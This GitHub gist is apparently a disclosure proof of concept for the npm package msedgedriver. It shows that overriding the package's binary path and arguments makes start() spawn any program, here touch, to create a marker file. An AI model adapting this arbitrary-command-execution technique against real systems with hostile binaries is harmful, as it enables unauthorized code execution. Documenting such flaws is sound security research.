Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Created October 29, 2023 14:07
Show Gist options
  • Save mcoimbra/27bad46a5735a4da496c415a61439673 to your computer and use it in GitHub Desktop.
Save mcoimbra/27bad46a5735a4da496c415a61439673 to your computer and use it in GitHub Desktop.
Package msedgedriver: it is possible to manipulate the binary and arguments passed to spawn by changing 'msedgedriver.path' and configuring 'args'.
'use strict'
const pkg = require('msedgedriver');
pkg.path = '/usr/bin/touch';
const args = ['exploited.txt'];
const returnPromise = false;
// This will create a local 'exploited.txt' file.
pkg.start(args, returnPromise)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment